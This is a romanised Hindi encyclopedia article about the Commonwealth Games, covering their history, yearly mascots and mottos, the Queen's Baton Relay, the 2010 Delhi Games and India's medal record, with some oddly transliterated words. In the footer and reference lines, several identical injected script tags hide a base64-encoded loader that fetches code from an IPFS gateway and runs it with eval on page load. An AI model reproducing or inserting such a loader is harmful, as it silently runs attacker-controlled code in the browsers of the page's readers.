राष्ट्रमंडल खेल

rashtramandal khel •

rashtramandal khel 2010 •

upalabdhiyaan

thumb|220px|k aaumanavelth gesm fedareshan ka pratik chihn rashtramandal khel (aangrezi: Commonwealth Games) british rashtramandal deshoan ke antargat ayojit hone vali khel pratiyogita hai. 19vean rashtramandal kheloan ki mezabani dilli, bharat ko sauanpi gee. isase pahale bharat 1982 mean eshiyaee kheloan ki mezabani kar chuka tha. eshiya mean bhi yah 1998 ke kvalalanpur, maleshiya ke bad doosara b da ayojan tha.^[1] bharat mean hue 2010 rashtramandal kheloan mean kul 71 deshoan ne bhag liya. 2014 mean rashtramandal kheloan ki mezabani glasago (sk aautalaind aur briten) ko sauanpi gee.

itihas

rivareand eshle koopar nam ke aangrez adhikari ne british hukoomat vale deshoan mean kheloan ke ek maha ayojan ka vichar diya tha. unaka manana tha ki isase in deshoan mean khel ki bhavana badhegi sath hi logoan ke man mean british hukoomat ke prati achchhi bhavana aegi.
isake bad sanh 1928 mean kanadiyaee mool ke ethilit 'b aaubi r aaubinasan' ko pahale rashtramandal kheloan ke ayojan ki zimmedari sauanpi gee thi. yah khel sanh 1930 mean oantariyo ke haimilatan shahar mean ayojit kie ge the, jisamean gyarah deshoan ke 400 ethilitoan ne hissa liya tha. kanada in kheloan ka gavah bana tha.
isake bad har chauthe varsh rashtrakul kheloan ka ayojan kiya jane laga tha. sirf doosare vishv yuddh ke dauran inaka ayojan nahian kiya ja saka tha. in kheloan ko kee namoan se jana jata tha, jaiseah british samrajy khel, mitrata khel tatha british rashtrakul khel.
san 1978 se in kheloan ko rashtrakul kheloan ka sthayi nam diya gaya. sirf ek pratispardhi kheloan ka ayojan rahane vala yah samaroh kualalampur mean ayojit kheloan ke bad kafi badal gaya.
1998 mean maleshiya ke kualalampur mean ayojit rashtramandal kheloan mean kriket, h aauki tatha netab aaul jaise any prasiddh kheloan ko bhi isamean pahali bar shamil kiya gaya. ^[1]
2001 se rashtrakul kheloan mean manavata, samanata tatha bhagy ko moolamantr bana liya gaya. in moolyoan ke adhar par in kheloan se hazaroan logoan ko jo dane tatha ise rashtramandal ke bhitar hi ayojit karane ke lie vyapak janadesh chalaya gaya.

shubhankar

rashtramandal kheloan mean shubhankar aur adarsh vaky hamesha hi akarshan ka keandr rahe haian. shubhankar apani upasthiti se khel ayojan ko manoranjan se poorn aur dilachasp bana dete haian. unaka pyara, gol-matol svabhav, manamohak nrity gatividhiyaan aur bhi d mean bas ek lahar darshakoan mean utsah ki lahar bikher deti hai. halaanki, bhi d ka manoranjan karane ki tulana mean shubhankaroan ka bahut adhik mahatv hai. shubhankar khel ke ravaiye aur svabhav ko bhi prastut karate haian. adarsh vaky chhote lekin majaboot bayan haian, jinaka ullekh rashtramandal kheloan (k aaumanavelth gems) mean kiya gaya hai. yah duniya bhar mean sandesh phailane ke lie mahatvapoorn haian. san 1978 se hi rashtramandal kheloan ke pratyek sanskaran mean ek shubhankar avashy hota hai.

varshavar shubhankar v adarsh vaky
kramaank	sanskaran	mejaban	shubhankar	vivaran	moto
1.	1978	edamoantan, kanada	kino	ek bhoora bhaloo	kanada rashtramandal ka svagat karata hai
2.	1982	brisben, aaustreliya	matilda	ek kangaroo	dostana khel
3.	1986	edinabarg, sk aautalaiand	sk aauti	ek sk aautish teriyar	-
4.	1990	aaukalaiand, nyoojilaiand	goldi	ek kivi pakshi	yahi upayukt avasar hai
5.	1994	viktoriya, kanada	kli vik	ek orka	atma ko pak do
6.	1998	kualalampur, maleshiya	chakkar	ek santare	ham sab milakar is pal ko gauravanvit kareange
7.	2002	mainachestar, ianglaiand	kit	ek devon reks	dosti ki atma
8.	2006	melabarn, aaustreliya	karak	ek lal pooanchh vala kala k aaukatoo	is samay sanyukt
9.	2010	dilli, bharat	shera	ek bagh	bahar nikalo aur khelo
10.	2014	glasago, sk aautalaiand	klaid	ek thisl	jo hai samane rakho
11.	2018	gold kost, aaustreliya	borobik	e koala	sapana sajha karean
12.	2022	barmiangham, ianglaiand	pairi	ek bail	sabhi ke lie khel

rashtramandal khel mean bharat ka pradarshan
varsh	mejaban desh	padak sankhya	padak talika mean sthan
2022	barmigham, ianglaiand	61	chaturth
2018	gold kost, aaustreliya	66	tritiy
2014	glasago, skatalaiand	64	pancham
2010	dilli, bharat	101	dvitiy
2006	melabarn, aaustreliya	50	chaturth
2002	mainachestar, ianglaiand	69	chaturth

kvians baitan rile

kvians baitan rile, rashtramandal kheloan ki adhikarik shuruat ke taur par ayojit ki jati hai. isaki shuruat 1958 mean kardiph se huee thi. olampik ki mashal ki tarah k aaumanavelth kheloan se pahale shuroo hone vali mashal yatra ko 'kvians baitan rile' kaha jata hai. landan ke barkigham pailes se shuroo hone vali baitan rile ke sath k aaumanavelth pramukh (briten ki maharani elijaveth) ka sandesh bhi hota hai. baitan rile is bat ka pratik hai ki sabhi rashtrakul desh, kheloan ke is mahaayojan mean pratyaksh tatha apratyaksh roop se shamil haian. baitan rile ki shuruat landan ke bakiangham mahal se ki jati hai. ethalit khiladiyoan ke lie 'maharani elijabeth dvitiy' ke sandeshayukt yah baitan pahale manad dhavak ko di jati hai. yah baitan rile kheloan ke shubharanbh par jakar samapt hoti hai. isake bad is baitan ko maharani ya unake pratinidhiyoan ke havale kar diya jata hai aur usamean rakha maharani ka sandesh sabhi ko sunaya jata hai. isi ke sath rile dau d samapt hoti hai aur rashtramandal kheloan ka shubharanbh ho jata hai. ^[1]

19vean rashtramandal khel

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[[chitr:Commonwealth-Games-2010-logo.png|thumb|200px|pratik chihn, dilli rashtramandal khel 2010]] 3 aktoobar se 14 aktoobar 2010 ko ayojit hue 19vean rashtramandal kheloan ki mezabani nee dilli ki. vibhinn kheloan ke lie ayojit kiya jane vala yah ab tak ka sabase b da ayojan tha. bharat poore tin dashakoan bad aise kisi ayojan ka mezaban bana. isase pahale bharat 1982 mean eshiyaee kheloan ki mezabani kar chuka hai. kheloan ka shubharanbh dilli ke javahar lal neharoo stediyam mean hua. kvians baitan rile dilli 2010 ki shuruat 29 aktoobar 2009 mean landan mean huee thi, jab bharat ke olianpik svarn padak vijeta abhinav biandra ko yah baitan di gee thi. yah rile 340 dinoan mean apana saphar poora karake nee dilli ke javahar lal neharoo stediyam pahuanchakar samapt huee. is dauran baitan ne duniya ke ek tihaee deshoan se hote hue 190,000 kilomitar se zyada ki doori tay ki. baitan ka yah saphar parivahan ke har sanbhav madhyam jaise hava, pani aur zamin ke raste se hote hue hazaroan hathoan se gujara. yah mairathan 240 dinoan mean 70 deshoan se hote hue bharat pahuancha aur yahaan par yah poore 100 dinoan tak desh ke sabhi rajyoan ki rajadhani tatha keandr shasit rajyoan se hote hue aantatah ayojan sthal dilli pahuancha. kvians baitan 2010 dilli ko bharatiyata ke bhav, sadbhav, vikas tatha vividhata ke rang mean ranga gaya. ise hastashilp tatha unnat kism ki ianjiniyariang v takanik ka istemal karake banaya gaya. yah baitan elyoominiyam se trikonakar banaee gee. ise heliks ke roop mean oopar se mo da gaya. is par bharat ke sabhi konoan mean milane vali mitti ke rang ka lepan bhi kiya gaya . ^[1]

rashtramandal kheloan mean bharat ka pradarshan

[[chitr:Milkhasingh-01.jpg|150px|thumb|milakha sianh]] bharat ke lie 2002 ke rashtramandal khel sabase kamayab rahe haian. 2002 mean mainachestar mean bharatiy ethalitoan ne apana jalava dikhaya aur kul milakar 69 padak apani jholi mean dale. bharat ne 30 svarn, 22 rajat aur 17 kaansy padak jite. aank talika mean bharat chauthe sthan par raha. 1990 mean bharatiy dal mazaboot banakar ubhara jab usane 13 svarn samet 32 padak jite the. lekin 1994 khas achchha nahian raha aur bharat ke hisse mean sirf 24 padak hi a sake. bharat ne ab tak 18 mean se 14 sanskaranoan mean hissa liya aur kul 102 svarn padak jite haian.

pahala svarn

u dan sikh milkha sianh ne bharat ko rashtramandal kheloan mean pahala svarn padak dilaya tha. unhoanne 1958 mean kardif mean hue kheloan mean 400 mitar ki dau d mean gold jita tha. halaanki in kheloan mean pahale padak ka rikard rashid anavar ke nam par darj hai, jinhoanne 1934 mean landan mean hue rashtramandal kheloan mean kaansy padak hasil kiya tha. apane pahale rashtramandal kheloan mean bharat ka yah akela padak tha.

sabase age samaresh jang

shootar samaresh jang ne rashtramandal kheloan mean sabase zyada paanch padak jite haian. 2006 ke melabarn gems mean samaresh ne vyaktigat spardhaoan ke alava jasapal rana aur gagan narang ke sath tim spardha ke svarn par bhi nishana sadha. unhoanne ek rajat aur ek kaansy padak bhi jita. kisi bhi shootar ke nam par yah ek rik aaurd hai. thumb|150px|samaresh jang

sabase b da ayojan

eshiyaee khel-1982 ke bad rashtramandal khel bharat ka sabase b da toornameant tha. rashtramandal khel adhikaanshat: amir deshoan mean hi hote haian. sirf jamaika ne 1966 aur maleshiya ne 1998 mean inake ayojan ki himmat dikhaee thi. lekin us vaqt itana kharch nahian aya tha.
svatantr bharat ne pahali bar in kheloan mean 1954 mean bhag liya tha. lekin vah koee bhi padak nahian jit saka tha. bharat ne pahali bar british dhvaj tale 1934 mean kheloan mean bhag liya tha.
1934 mean doosare gems landan mean karae ge. halaanki pahale in kheloan ki mezabani dakshin afrika ko di gee thi, lekin usaki rangabhed ki niti ke karan in kheloan ko landan sthanantarit kar diya gaya.
1954 mean veankuvar gems mean ianglaind ke mairathan dhavak jim pitars apane qaribi pratidvandvi se 17 minat age hone ke bavajood antim laip mean girane ke karan svarn padak se chook ge the.
1962 mean parth mean us sal navambar ke in dinoan mean itani garmi p di thi ki 65 sal ke sare pichhale rik aaurd toot ge the aur tapaman qarib 41 digri selsiyas tak pahuanch gaya. bharat ne in kheloan mean bhag nahian liya tha.
1966 mean kiangsatan (jamaika) mean pahali bar rashtramandal khel gore logoan ke desh se nikalakar kisi afriki desh mean hue.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

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bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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[gov-1] 1.0 ^1.1 ^1.2 ^1.3 adhikarik vebasait (hindi) (piechapi). . abhigaman tithi: 28 sitanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]